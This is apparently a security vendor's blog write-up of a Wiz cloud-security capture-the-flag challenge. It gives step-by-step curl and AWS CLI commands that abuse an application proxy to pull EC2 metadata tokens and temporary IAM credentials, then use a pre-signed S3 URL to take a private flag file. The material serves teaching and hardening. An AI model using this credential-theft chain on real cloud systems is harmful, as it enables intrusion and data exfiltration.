Tamnoon Wrapped: 2025 In Review Learn More

October 8, 2025

Solving ‘The Perimeter Leak’: Using IMDS Access to Capture the Flag (Wiz CTF Challenge #1)

Sahara Armen

Security Engineer

Share:

Ready for another Wiz Cloud Security Championship challenge? This time, we’re shifting focus from identity to infrastructure.

In “Solving Perimeter Leak,” the battleground isn’t Entra ID or consent flows. Instead, it’s the cloud perimeter itself. The scenario drops us into an AWS environment with one goal: extract the flag from an S3 bucket locked down by a data perimeter.

AWS data perimeters are a strong mitigation, but complexity can introduce gaps. Here, the gap is the instance metadata service: with the right calls, you can turn metadata into temporary IAM credentials and then into a pre-signed S3 URL.

This challenge, created by Scott Piper, demonstrates how failing to enforce IMDSv2 can undo perimeter protections and why hardening metadata access should be standard practice. It mirrors a risk we’ve seen in real customer environments, and in the steps ahead, we’ll retrace the attacker’s path to show exactly how the flag was captured.

For more on IMDSv2 hardening, see our blog Severity Matters: Switching from IMDSv1 to v2.

Step 1: Explore the endpoints

The first thing we do is ask the app what it’s willing to tell us. The challenge gives us a basic-auth endpoint that exposes Spring Boot actuator links and runtime environment variables, and those variables include the clues we need (bucket name, invocation ID, PID, and Spring runtime settings).

				
					curl -s -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator \
  | jq -r '._links | keys[]'

				
			
This command lists all available actuator endpoints. Seeing /actuator/env here confirms we can dig deeper into the app’s runtime configuration, which is where sensitive details like the bucket name and invocation ID are exposed.
With /actuator/env confirmed as open, the next step is to extract only the relevant values. These commands filter the environment details to reveal the S3 bucket name, the process ID, the invocation ID, and how the Spring application is running.    This information anchors the rest of the attack, giving us the target bucket and context about the instance we’re on.
				
					curl -s -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env \
  | grep -iE '"(bucket|PID|invocationId|spring\.application\.name|spring\.profiles\.active|spring\.main\.web-application-type)"'

#Lets filter what we want  
curl -s -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env \
  | jq -r '.propertySources[].properties | to_entries[] | select(.key|test("bucket|PID|invocationId|spring.application.name|spring.profiles.active|spring.main.web-application-type"; "i")) | "\(.key)=\(.value.value)"'

				
			

The filtered output confirms we’ve struck gold. The app is leaking:

  • BUCKET: the target S3 bucket name (challenge01-470f711) where the flag will be stored.
  • PID and SYSTEMD_EXEC_PID: process identifiers showing the app is running on a live EC2 instance.
  • spring.application.name and spring.application.pid: runtime details that confirm the app’s Spring Boot profile and execution context.

These values don’t give us the flag yet, but they give us everything we need to pivot. The bucket name points to our eventual target, and the process IDs confirm we can move toward the EC2 instance metadata service (IMDS) to steal temporary AWS credentials.

Step 2: Access EC2 instance metadata

The instance metadata service (IMDS) holds useful runtime details and, critically, temporary IAM credentials for the instance role. 

IMDSv2 hardens that interface by requiring a PUT request to create a short-lived token, and then that token must be presented on subsequent metadata requests. That extra step prevents simple GET-only SSRF calls from pulling credentials.

Metadata reveals key information about the EC2 instance

This includes instance ID, region, and network details to help you understand the environment you’re in. Running configurations like user data scripts may contain clues or secrets left behind by developers. This context often tells you where you are inside the cloud environment.

We can’t call 169.254.169.254 directly from our machine, so we use the app’s proxy endpoint to reach the Instance Metadata Service (IMDS). IMDSv2 requires a short-lived token: you obtain the token with a PUT and then include it in the X-aws-ec2-metadata-token header on subsequent requests. The commands below request that token through the proxy, then list the top-level metadata keys.
				
					#Get the IMDSv2 Token
ENC_TOKEN_URL="http%3A%2F%2F169.254.169.254%2Flatest%2Fapi%2Ftoken"

TOKEN=$(curl -sS -X PUT \
  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=$ENC_TOKEN_URL" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  --data-raw "")

echo "$TOKEN"   # should be a long base64-ish string

#List the metadata with token
 BASE="http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F"

curl -sS "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=$BASE" \
  -H "X-aws-ec2-metadata-token: $TOKEN"

				
			

The echo "$TOKEN" output shows a valid IMDSv2 token (a long base64-like string). With that token presented in the X-aws-ec2-metadata-token header, the metadata call returned a list of top-level keys for the instance. Important entries to notice here:

  • iam / identity-credentials / iam/security-credentials/ — this is the path that leads to the instance role name and the temporary IAM credentials you can use.
  • instance-id, placement, mac, local-ipv4 — helpful environment clues that confirm we’re running on a real EC2 instance in a specific region/placement.
  • public-keys, hostname, profile — additional context about how the instance was launched and configured.

the metadata list proves two things: 

  1. IMDSv2 is reachable through the app proxy 
  2. The IAM role metadata is accessible, which means we can request the role name and then retrieve temporary credentials for that role.

With the top-level metadata confirmed, the next move is to dive into the iam/security-credentials/ path. This is where IMDS exposes the instance’s IAM role and the temporary AWS credentials tied to it.

  • The first curl call prints the role name attached to the EC2 instance.
  • The second call fetches the credential set for that role — a JSON response containing the AccessKeyId, SecretAccessKey, and Token. These values are short-lived but fully valid, giving us the same level of access the instance itself has.
  • The final echo statements simply confirm the role name and pretty-print the credentials with jq.

With this output, we’re looking for a role name string (e.g., challenge-role or similar) or a JSON block with keys like AccessKeyId, SecretAccessKey, and Token.

The role and its credentials are the real prize from IMDS. With them exported into environment variables, you can authenticate as the instance role and interact with AWS resources directly, including the target S3 bucket.

				
					ROLE=$(curl -sS "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=${BASE}iam%2Fsecurity-credentials%2F" \
  -H "X-aws-ec2-metadata-token: $TOKEN")

CREDS=$(curl -sS "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=${BASE}iam%2Fsecurity-credentials%2F${ROLE}" \
  -H "X-aws-ec2-metadata-token: $TOKEN")
echo "Role is: $ROLE"
echo "$CREDS" | jq .

				
			
The output confirms we’ve successfully pulled the IAM role credentials from IMDS:
  • Role name: shown here as challenge01-5503268, identifying the EC2 instance’s attached role.
  • Credentials block: a JSON object with AccessKeyId, SecretAccessKey, and Token. These three values are the temporary session credentials that let us authenticate to AWS APIs with the same permissions as the instance.
  • Expiration: AWS sets an expiry timestamp, showing when the temporary credentials will stop working (in this case, a few hours).

This is the moment the perimeter starts to crack. We now hold real AWS credentials scoped to the instance’s role. From here, we can export them into environment variables and use the AWS CLI to interact with the target S3 bucket, the final path toward retrieving the flag.

Step 3: Export your credentials

We take the temporary credentials we pulled from IMDS and export them into environment variables so the AWS CLI and SDKs use them for subsequent requests. Each export extracts a field from the JSON blob and sets the corresponding environment variable:

Step 4: Look at the S3 bucket

With the role credentials exported, we can now interact with the target bucket directly. The aws s3 ls command lists the objects inside the bucket we discovered earlier from the /actuator/env output:
				
					aws s3 ls s3://challenge01-470f711

				
			

This confirms that our temporary credentials are valid and scoped to S3. The listing should show at least two objects: one marked public and one private. 

The public object is accessible immediately, but it doesn’t contain the flag. The private file is the real target, and we’ll need to generate a pre-signed URL to get to it.

 

Once we had the temporary IAM credentials from the EC2 metadata service, we could interact with S3 directly using the AWS CLI. But rather than pulling the private file straight from the CLI, it’s often better to generate a pre-signed URL. Here’s why:

  • Easy access anywhere: A pre-signed URL works in any browser or tool — no AWS CLI or credentials required.
  • Proof of full control: It shows that our compromised IAM role can not only read the object but also authorize access externally.
  • Works without bucket listing: Even if ListBucket is blocked, a pre-signed URL lets us fetch files directly if we know the key name.
  • Mimics real-world attacks: Attackers often exfiltrate data via temporary URLs rather than setting up CLI sessions.

Step 5: Generate a presigned URL to access the private folder

Now that we’re authenticated as the instance role, we can create a pre-signed URL that grants short-lived HTTP access to the private object. This aws s3 presign call does not change the object or the bucket. It simply signs a URL that anyone can use as long as the URL is valid.
				
					PRESIGNED_URL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt --region us-east-1 --expires-in 60)

# verify it looks sane:
echo "$PRESIGNED_URL"

				
			

Tip: If 60 seconds isn’t enough time, your presigned url can be made valid for up to 7 days (604,800 seconds).

Step 6: Bypass with proxy

Now we use the application’s proxy to fetch the pre-signed URL. The proxy lets us make outbound HTTP requests from the instance’s network context, so passing the pre-signed link through it returns the private object’s contents.

				
					curl -s -u ctf:88sPVWyC2P3p \
  --get --data-urlencode "url=$PRESIGNED_URL" \
  "https://challenge01.cloud-champions.com/proxy"



				
			

The command prints the pre-signed S3 URL and then asks the app proxy to fetch it. 

The proxy response is the file contents, in this case, the flag: WIZ_CTF_Presigned_Urls_Are_Everywhere.

That final curl is proof that the chain worked: presigned URL created, routed through the proxy, and the private object was retrieved.

Lessons learned from Solving Perimeter Leak

This challenge made one thing clear: strong defenses like AWS data perimeters can crumble if supporting controls are misconfigured. A single overlooked detail — in this case, failing to enforce IMDSv2 — opened the door from harmless metadata to full S3 exfiltration.

At Tamnoon, we’ve seen this exact risk play out in customer environments. Our team has helped organizations roll out IMDSv2 across entire fleets, tighten IAM roles, and secure pathways that attackers could exploit. These are the real-world gaps we close every day.

Interested in learning more about how we can help? Book a demo and we’ll show you what partnering with Tamnoon looks like.

Generalists in a specialist’s world

Don’t settle for noise disguised as protection. See how Tamnoon turns alerts into action and exposure into resilience.

Discover the Latest From Tamnoon

There’s always more to learn, see our resources center

Scroll to Top

Join us for